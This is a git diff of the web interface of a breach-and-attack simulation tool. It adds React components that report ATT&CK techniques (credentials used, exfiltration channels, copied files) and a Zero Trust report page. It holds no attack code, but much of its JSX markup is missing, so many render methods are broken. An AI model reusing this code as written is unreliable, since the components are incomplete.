+ {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
+ {Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ static renderCreds(creds) {
+ return {creds.map(cred => {cred}
)}
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1021;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
new file mode 100644
index 000000000..7345ca497
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1035.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1035 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.services.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1035;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
new file mode 100644
index 000000000..3d6b45d08
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1041.js
@@ -0,0 +1,37 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import {ScanStatus} from "./Helpers";
+
+class T1041 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getC2Columns() {
+ return ([{
+ Header: "Data exfiltration channels",
+ columns: [
+ {Header: 'Source', id: 'src', accessor: x => x.src, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Destination', id: 'dst', accessor: x => x.dst, style: { 'whiteSpace': 'unset' }}
+ ]}])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1041;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
index 57d5bcb2c..4651f5c41 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
class T1059 extends React.Component {
@@ -25,7 +25,7 @@ class T1059 extends React.Component {
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
+ {this.props.data.message}
+
+ {this.props.data.scripts.length !== 0 ?
+ : ""}
+
+ );
+ }
+}
+
+export default T1064;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
index 13c1e39e2..3cd12560b 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1075.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
class T1075 extends React.Component {
@@ -34,7 +34,7 @@ class T1075 extends React.Component {
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
{collection['name']} )
- }
- });
- return ({output}
);
- }
-
static getSystemInfoColumns() {
return ([{
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
- {Header: 'Gathered info', id: 'info', accessor: x => T1082.renderCollections(x.collections), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Gathered info', id: 'info', accessor: x => renderUsageFields(x.collections), style: { 'whiteSpace': 'unset' }},
]
}])};
@@ -33,7 +23,7 @@ class T1082 extends React.Component {
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
renderMachineFromSystemData(x),
+ style: { 'whiteSpace': 'unset', textAlign: 'center' }}]}])
+ };
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1090;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
new file mode 100644
index 000000000..8acd48c4b
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1105.js
@@ -0,0 +1,40 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { ScanStatus } from "./Helpers"
+
+
+class T1105 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static getFilesColumns() {
+ return ([{
+ Header: 'Files copied',
+ columns: [
+ {Header: 'Src. Machine', id: 'srcMachine', accessor: x => x.src, style: { 'whiteSpace': 'unset'}, width: 170 },
+ {Header: 'Dst. Machine', id: 'dstMachine', accessor: x => x.dst, style: { 'whiteSpace': 'unset'}, width: 170},
+ {Header: 'Filename', id: 'filename', accessor: x => x.filename, style: { 'whiteSpace': 'unset'}},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status !== ScanStatus.UNSCANNED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1105;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
new file mode 100644
index 000000000..a3210b73c
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js
@@ -0,0 +1,30 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { getUsageColumns } from "./Helpers"
+
+
+class T1106 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.api_uses.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1106;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
new file mode 100644
index 000000000..d80dc3f0e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js
@@ -0,0 +1,47 @@
+import React from 'react';
+import '../../../styles/Collapse.scss'
+import ReactTable from "react-table";
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
+
+
+class T1107 extends React.Component {
+
+ constructor(props) {
+ super(props);
+ }
+
+ static renderDelete(status){
+ if(status === ScanStatus.USED){
+ return Yes
+ } else {
+ return No
+ }
+ }
+
+ static getDeletedFileColumns() {
+ return ([{
+ columns: [
+ {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status),
+ style: { 'whiteSpace': 'unset' }, width: 160}]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.deleted_files.length !== 0 ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1107;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
index 294606d25..da9682da3 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachine } from "./Helpers"
+import { renderMachine, ScanStatus } from "./Helpers"
class T1110 extends React.Component {
@@ -32,7 +32,7 @@ class T1110 extends React.Component {
{this.props.data.message}
- {(this.props.data.status === 'SCANNED' || this.props.data.status === 'USED') ?
+ {this.props.data.status !== ScanStatus.UNSCANNED ?
+ {this.props.data.message}
+
+ {this.props.data.dlls.length !== 0 ?
+ : ""}
+
+ );
+ }
+}
+
+export default T1129;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
index c34f436e2..641602dc5 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js
@@ -1,7 +1,7 @@
import React from 'react';
import '../../../styles/Collapse.scss'
import ReactTable from "react-table";
-import { renderMachineFromSystemData } from "./Helpers"
+import { renderMachineFromSystemData, ScanStatus } from "./Helpers"
class T1145 extends React.Component {
@@ -38,7 +38,7 @@ class T1145 extends React.Component {
{this.props.data.message}
- {this.props.data.status === 'USED' ?
+ {this.props.data.status === ScanStatus.USED ?
renderMachineFromSystemData(x.from),
+ style: { 'whiteSpace': 'unset' }},
+ {Header: 'To',
+ id: 'to',
+ accessor: x => renderMachineFromSystemData(x.to),
+ style: { 'whiteSpace': 'unset' }},
+ {Header: 'Hops',
+ id: 'hops',
+ accessor: x => x.count,
+ style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1188;
diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
index 1b3daa86c..9b6266efa 100644
--- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
+++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js
@@ -12,22 +12,25 @@ class T1210 extends React.Component {
static getScanColumns() {
return ([{
+ Header: "Found services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
- {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])}
static getExploitColumns() {
return ([{
+ Header: "Exploited services",
columns: [
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
style: { 'whiteSpace': 'unset' }, width: 200},
- {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
- {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }},
+ {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' },
+ width: 170},
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
]
}])};
@@ -54,7 +57,6 @@ class T1210 extends React.Component {
return (
-
Found services:
- Exploited services:
renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
+ {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
+ ]
+ }])};
+
+ render() {
+ return (
+
+
{this.props.data.message}
+
+ {this.props.data.status === ScanStatus.USED ?
+
: ""}
+
+ );
+ }
+}
+
+export default T1222;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 44d5a9a2b..43dac797c 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -295,13 +295,12 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({PBAlinuxFile: [], PBAwinFile: []});
}
- onReadFile = (event) => {
+ setConfigOnImport = (event) => {
try {
this.setState({
configuration: JSON.parse(event.target.result),
lastAction: 'import_success'
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
- this.currentSection = 'basic';
this.currentFormData = {};
} catch(SyntaxError) {
this.setState({lastAction: 'import_failure'});
@@ -335,7 +334,7 @@ class ConfigurePageComponent extends AuthComponent {
importConfig = (event) => {
let reader = new FileReader();
- reader.onload = this.onReadFile;
+ reader.onload = this.setConfigOnImport;
reader.readAsText(event.target.files[0]);
event.target.value = null;
};
@@ -494,9 +493,8 @@ class ConfigurePageComponent extends AuthComponent {
} else if(this.state.selectedSection !== 'attack') {
content = this.renderConfigContent(displayedSchema)
}
-
return (
-
+
{this.renderAttackAlertModal()}
Monkey Configuration
{this.renderNav()}
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
index 4d1f6d4dd..68ba84aa6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js
@@ -1,20 +1,27 @@
-import React from 'react';
+import React, {Fragment} from 'react';
import {Button, Col} from 'react-bootstrap';
-import BreachedServers from 'components/report-components/BreachedServers';
-import ScannedServers from 'components/report-components/ScannedServers';
-import PostBreach from 'components/report-components/PostBreach';
+import BreachedServers from 'components/report-components/security/BreachedServers';
+import ScannedServers from 'components/report-components/security/ScannedServers';
+import PostBreach from 'components/report-components/security/PostBreach';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
-import StolenPasswords from 'components/report-components/StolenPasswords';
-import CollapsibleWellComponent from 'components/report-components/CollapsibleWell';
+import StolenPasswords from 'components/report-components/security/StolenPasswords';
+import CollapsibleWellComponent from 'components/report-components/security/CollapsibleWell';
import {Line} from 'rc-progress';
import AuthComponent from '../AuthComponent';
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
-import StrongUsers from "components/report-components/StrongUsers";
-import AttackReport from "components/report-components/AttackReport";
+import StrongUsers from "components/report-components/security/StrongUsers";
+import AttackReport from "components/report-components/security/AttackReport";
+import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader";
+import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning";
+import ReportLoader from "../report-components/common/ReportLoader";
+import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning";
+import SecurityIssuesGlance from "../report-components/common/SecurityIssuesGlance";
+import PrintReportButton from "../report-components/common/PrintReportButton";
+import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
-let monkeyLogoImage = require('../../images/monkey-icon.svg');
+
class ReportPageComponent extends AuthComponent {
@@ -66,18 +73,11 @@ class ReportPageComponent extends AuthComponent {
render() {
let content;
- if (Object.keys(this.state.report).length === 0) {
- if (this.state.runStarted) {
- content = (Generating Report... );
- } else {
- content =
-
-
- You have to run a monkey before generating a report!
-
;
- }
- } else {
+
+ if (this.state.runStarted) {
content = this.generateReportContent();
+ } else {
+ content = ;
}
return (
@@ -90,15 +90,15 @@ class ReportPageComponent extends AuthComponent {
);
}
+ stillLoadingDataFromServer() {
+ return Object.keys(this.state.report).length === 0;
+ }
+
updateMonkeysRunning = () => {
return this.authFetch('/api')
.then(res => res.json())
.then(res => {
- // This check is used to prevent unnecessary re-rendering
- this.setState({
- allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
- runStarted: res['completed_steps']['run_monkey']
- });
+ this.setState(extractExecutionStatusFromServerResponse(res));
return res;
});
};
@@ -117,7 +117,7 @@ class ReportPageComponent extends AuthComponent {
getReportFromServer(res) {
if (res['completed_steps']['run_monkey']) {
- this.authFetch('/api/report')
+ this.authFetch('/api/report/security')
.then(res => res.json())
.then(res => {
this.setState({
@@ -128,49 +128,36 @@ class ReportPageComponent extends AuthComponent {
}
generateReportContent() {
+ let content;
+
+ if (this.stillLoadingDataFromServer()) {
+ content = ;
+ } else {
+ content =
+
+ {this.generateReportOverviewSection()}
+ {this.generateReportFindingsSection()}
+ {this.generateReportRecommendationsSection()}
+ {this.generateReportGlanceSection()}
+ {this.generateAttackSection()}
+ {this.generateReportFooter()}
+
;
+ }
+
return (
-
-
-
{
- print();
- }}> Print Report
+
+
- {this.generateReportHeader()}
+
- {this.generateReportOverviewSection()}
- {this.generateReportFindingsSection()}
- {this.generateReportRecommendationsSection()}
- {this.generateReportGlanceSection()}
- {this.generateAttackSection()}
- {this.generateReportFooter()}
+ {content}
-
-
{
- print();
- }}> Print Report
+
-
- );
- }
-
- generateReportHeader() {
- return (
-
+
);
}
@@ -180,27 +167,8 @@ class ReportPageComponent extends AuthComponent {
Overview
- {
- this.state.report.glance.exploited.length > 0 ?
- (
-
- Critical security issues were detected!
-
) :
- (
-
- No critical security issues were detected.
-
)
- }
- {
- this.state.allMonkeysAreDead ?
- ''
- :
- (
-
- Some monkeys are still running. To get the best report it's best to wait for all of them to finish
- running.
-
)
- }
+
0}/>
+
{
this.state.report.glance.exploited.length > 0 ?
''
@@ -665,22 +633,6 @@ class ReportPageComponent extends AuthComponent {
);
}
- generateRdpIssue(issue) {
- return (
-
- Change {issue.username} 's password to a complex one-use password
- that is not shared with other computers on the network.
-
- The machine {issue.machine} ({issue.ip_address} ) is vulnerable to a RDP attack.
-
- The Monkey authenticated over the RDP protocol with user {issue.username} and its password.
-
-
- );
- }
generateSambaCryIssue(issue) {
return (
@@ -959,9 +911,6 @@ generateMSSQLIssue(issue) {
case 'ssh_key':
data = this.generateSshKeysIssue(issue);
break;
- case 'rdp':
- data = this.generateRdpIssue(issue);
- break;
case 'sambacry':
data = this.generateSambaCryIssue(issue);
break;
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
new file mode 100755
index 000000000..a0b92d9bd
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js
@@ -0,0 +1,134 @@
+import React, {Fragment} from 'react';
+import {Col} from 'react-bootstrap';
+import AuthComponent from '../AuthComponent';
+import ReportHeader, {ReportTypes} from "../report-components/common/ReportHeader";
+import ReportLoader from "../report-components/common/ReportLoader";
+import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning";
+import PrintReportButton from "../report-components/common/PrintReportButton";
+import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus";
+import SummarySection from "../report-components/zerotrust/SummarySection";
+import FindingsSection from "../report-components/zerotrust/FindingsSection";
+import PrinciplesSection from "../report-components/zerotrust/PrinciplesSection";
+
+class ZeroTrustReportPageComponent extends AuthComponent {
+
+ constructor(props) {
+ super(props);
+
+ this.state = {
+ allMonkeysAreDead: false,
+ runStarted: true
+ };
+ }
+
+ componentDidMount() {
+ this.updatePageState();
+ const refreshInterval = setInterval(this.updatePageState, 8000);
+ this.setState(
+ {refreshDataIntervalHandler: refreshInterval}
+ )
+ }
+
+ componentWillUnmount() {
+ clearInterval(this.state.refreshDataIntervalHandler);
+ }
+
+ updateMonkeysRunning = () => {
+ return this.authFetch('/api')
+ .then(res => res.json())
+ .then(res => {
+ this.setState(extractExecutionStatusFromServerResponse(res));
+ return res;
+ });
+ };
+
+ updatePageState = () => {
+ this.updateMonkeysRunning().then(res => this.getZeroTrustReportFromServer(res));
+ };
+
+ render() {
+ let content;
+ if (this.state.runStarted) {
+ content = this.generateReportContent();
+ } else {
+ content = ;
+ }
+
+ return (
+
+ 5. Zero Trust Report
+
+ {content}
+
+
+ );
+ }
+
+ generateReportContent() {
+ let content;
+
+ if (this.stillLoadingDataFromServer()) {
+ content = ;
+ } else {
+ content = ;
+ }
+
+ return (
+
+
+
+
+
+ {content}
+
+
+
+ )
+ }
+
+ stillLoadingDataFromServer() {
+ return typeof this.state.findings === "undefined"
+ || typeof this.state.pillars === "undefined"
+ || typeof this.state.principles === "undefined";
+ }
+
+ getZeroTrustReportFromServer() {
+ let res;
+ this.authFetch('/api/report/zero_trust/findings')
+ .then(res => res.json())
+ .then(res => {
+ this.setState({
+ findings: res
+ });
+ });
+ this.authFetch('/api/report/zero_trust/principles')
+ .then(res => res.json())
+ .then(res => {
+ this.setState({
+ principles: res
+ });
+ });
+ this.authFetch('/api/report/zero_trust/pillars')
+ .then(res => res.json())
+ .then(res => {
+ this.setState({
+ pillars: res
+ });
+ });
+ }
+}
+
+export default ZeroTrustReportPageComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js
new file mode 100644
index 000000000..840e570d7
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ExecutionStatus.js
@@ -0,0 +1,6 @@
+export function extractExecutionStatusFromServerResponse(res) {
+ return {
+ allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
+ runStarted: res['completed_steps']['run_monkey']
+ };
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js
new file mode 100644
index 000000000..7b72570fa
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js
@@ -0,0 +1,21 @@
+import React, {Component} from "react";
+import * as PropTypes from "prop-types";
+
+export default class MonkeysStillAliveWarning extends Component {
+ render() {
+ return
+ {
+ this.props.allMonkeysAreDead ?
+ ''
+ :
+ (
+
+ Some monkeys are still running. To get the best report it's best to wait for all of them to finish
+ running.
+
)
+ }
+
+ }
+}
+
+MonkeysStillAliveWarning.propTypes = {allMonkeysAreDead: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js
new file mode 100644
index 000000000..f1d23e302
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js
@@ -0,0 +1,11 @@
+import React, {Component} from "react";
+import {NavLink} from "react-router-dom";
+
+export default class MustRunMonkeyWarning extends Component {
+ render() {
+ return
+
+ You have to run a monkey before generating a report!
+
+ }
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
new file mode 100644
index 000000000..5bc6183fd
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js
@@ -0,0 +1,36 @@
+import React, {Component} from "react";
+import ReactTable from "react-table";
+import * as PropTypes from "prop-types";
+
+class PaginatedTable extends Component {
+ render() {
+ if (this.props.data.length > 0) {
+ let defaultPageSize = this.props.data.length > this.props.pageSize ? this.props.pageSize : this.props.data.length;
+ let showPagination = this.props.data.length > this.props.pageSize;
+
+ return (
+
+
+
+ );
+ }
+ else {
+ return (
+
+ );
+ }
+ }
+}
+
+export default PaginatedTable;
+
+PaginatedTable.propTypes = {
+ data: PropTypes.array,
+ columns: PropTypes.array,
+ pageSize: PropTypes.number,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js
new file mode 100644
index 000000000..1a692bd68
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js
@@ -0,0 +1,14 @@
+import React, {Component} from "react";
+import {Button} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+export default class PrintReportButton extends Component {
+ render() {
+ return
+ Print
+ Report
+
+ }
+}
+
+PrintReportButton.propTypes = {onClick: PropTypes.func};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
new file mode 100644
index 000000000..44d470f7e
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js
@@ -0,0 +1,45 @@
+import React, {Component} from "react";
+import {Col} from "react-bootstrap";
+import * as PropTypes from "prop-types";
+
+let monkeyLogoImage = require('../../../images/monkey-icon.svg');
+
+export const ReportTypes = {
+ zeroTrust: "Zero Trust",
+ security: "Security",
+ null: ""
+};
+
+export class ReportHeader extends Component {
+ report_type;
+
+ render() {
+ return
+ }
+}
+
+export default ReportHeader;
+
+ReportHeader.propTypes = {
+ report_type: PropTypes.string,
+};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js
new file mode 100644
index 000000000..e389f7532
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js
@@ -0,0 +1,28 @@
+import {css} from "@emotion/core";
+import React, {Component} from "react";
+import {GridLoader} from "react-spinners";
+import * as PropTypes from "prop-types";
+
+const loading_css_override = css`
+ display: block;
+ margin-right: auto;
+ margin-left: auto;
+`;
+
+
+export default class ReportLoader extends Component {
+ render() {
+ return
+
Generating Report...
+
+
+ }
+}
+
+ReportLoader.propTypes = {loading: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js
new file mode 100644
index 000000000..41a45edad
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js
@@ -0,0 +1,22 @@
+import React, {Component, Fragment} from "react";
+import * as PropTypes from "prop-types";
+
+export default class SecurityIssuesGlance extends Component {
+ render() {
+ return
+ {
+ this.props.issuesFound ?
+ (
+
+ Critical security issues were detected!
+
) :
+ (
+
+ No critical security issues were detected.
+
)
+ }
+
+ }
+}
+
+SecurityIssuesGlance.propTypes = {issuesFound: PropTypes.bool};
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
similarity index 69%
rename from monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
rename to monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
index 320181a20..13f9cd92e 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/AttackReport.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/AttackReport.js
@@ -2,19 +2,36 @@ import React from 'react';
import {Col} from 'react-bootstrap';
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
import {edgeGroupToColor, options} from 'components/map/MapOptions';
-import '../../styles/Collapse.scss';
-import AuthComponent from '../AuthComponent';
+import '../../../styles/Collapse.scss';
+import AuthComponent from '../../AuthComponent';
+import {ScanStatus} from "../../attack/techniques/Helpers";
import Collapse from '@kunukn/react-collapse';
-import T1210 from '../attack/techniques/T1210';
-import T1197 from '../attack/techniques/T1197';
-import T1110 from '../attack/techniques/T1110';
-import T1075 from "../attack/techniques/T1075";
-import T1003 from "../attack/techniques/T1003";
-import T1059 from "../attack/techniques/T1059";
-import T1086 from "../attack/techniques/T1086";
-import T1082 from "../attack/techniques/T1082";
-import T1145 from "../attack/techniques/T1145";
-import T1065 from "../attack/techniques/T1065";
+
+import T1210 from '../../attack/techniques/T1210';
+import T1197 from '../../attack/techniques/T1197';
+import T1110 from '../../attack/techniques/T1110';
+import T1075 from "../../attack/techniques/T1075";
+import T1003 from "../../attack/techniques/T1003";
+import T1059 from "../../attack/techniques/T1059";
+import T1086 from "../../attack/techniques/T1086";
+import T1082 from "../../attack/techniques/T1082";
+import T1145 from "../../attack/techniques/T1145";
+import T1105 from "../../attack/techniques/T1105";
+import T1107 from "../../attack/techniques/T1107";
+import T1065 from "../../attack/techniques/T1065";
+import T1035 from "../../attack/techniques/T1035";
+import T1129 from "../../attack/techniques/T1129";
+import T1106 from "../../attack/techniques/T1106";
+import T1188 from "../../attack/techniques/T1188";
+import T1090 from "../../attack/techniques/T1090";
+import T1041 from "../../attack/techniques/T1041";
+import T1222 from "../../attack/techniques/T1222";
+import T1005 from "../../attack/techniques/T1005";
+import T1018 from "../../attack/techniques/T1018";
+import T1016 from "../../attack/techniques/T1016";
+import T1021 from "../../attack/techniques/T1021";
+import T1064 from "../../attack/techniques/T1064";
+import {extractExecutionStatusFromServerResponse} from "../common/ExecutionStatus";
const tech_components = {
'T1210': T1210,
@@ -26,7 +43,21 @@ const tech_components = {
'T1086': T1086,
'T1082': T1082,
'T1145': T1145,
- 'T1065': T1065
+ 'T1065': T1065,
+ 'T1105': T1105,
+ 'T1035': T1035,
+ 'T1129': T1129,
+ 'T1106': T1106,
+ 'T1107': T1107,
+ 'T1188': T1188,
+ 'T1090': T1090,
+ 'T1041': T1041,
+ 'T1222': T1222,
+ 'T1005': T1005,
+ 'T1018': T1018,
+ 'T1016': T1016,
+ 'T1021': T1021,
+ 'T1064': T1064
};
